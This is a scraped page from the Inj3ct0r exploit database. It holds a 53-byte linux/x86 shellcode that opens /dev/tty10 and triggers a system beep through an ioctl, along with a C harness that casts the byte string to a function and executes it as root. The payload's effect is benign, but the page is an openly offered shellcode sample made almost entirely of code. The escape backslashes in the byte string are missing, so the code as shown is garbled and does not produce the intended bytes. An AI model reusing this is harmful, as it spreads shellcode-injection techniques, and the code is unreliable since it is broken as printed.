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linux/x86 "high" frequency system beep shellcode 5

Posted on 01 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 &quot;high&quot; frequency system beep shellcode 53 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================================
linux/x86 &quot;high&quot; frequency system beep shellcode 53 bytes
=========================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 53 bytes &quot;high&quot; frequency system beep x86 linux
Date   : Tue Jun  1 14:25:27 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian (must run as root!) 
*/

char *shellcode=
		&quot;xebx24&quot;                    /* jmp    0x8048086 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x05&quot;                    /* mov    $0x5,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x89xd1&quot;                    /* mov    %edx,%ecx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x89xc3&quot;                    /* mov    %eax,%ebx */
		&quot;x6ax36&quot;                    /* push   $0x36 */
		&quot;x58&quot;                        /* pop    %eax */
		&quot;xb9xcfxb4xffxff&quot;        /* mov    $0xffffb4cf,%ecx */
		&quot;xf7xd1&quot;                    /* not    %ecx */
		&quot;xbaxdcx01xa6x03&quot;        /* mov    $0x3a601dc,%edx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xfexc0&quot;                    /* inc    %al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xd7xffxffxff&quot;        /* call   0x8048062 */
		&quot;x2f&quot;                        /* das     */
		&quot;x64&quot;                        /* fs */
		&quot;x65&quot;                        /* gs */
		&quot;x76x2f&quot;                    /* jbe    0x80480bf */
		&quot;x74x74&quot;                    /* je     0x8048106 */
		&quot;x79x31&quot;                    /* jns    0x80480c5 */
		&quot;x30&quot;                        /* .byte 0x30 */
		&quot;&quot;;

int main(void)
{
		((void (*)(void)) shellcode)();
		return 0;
}


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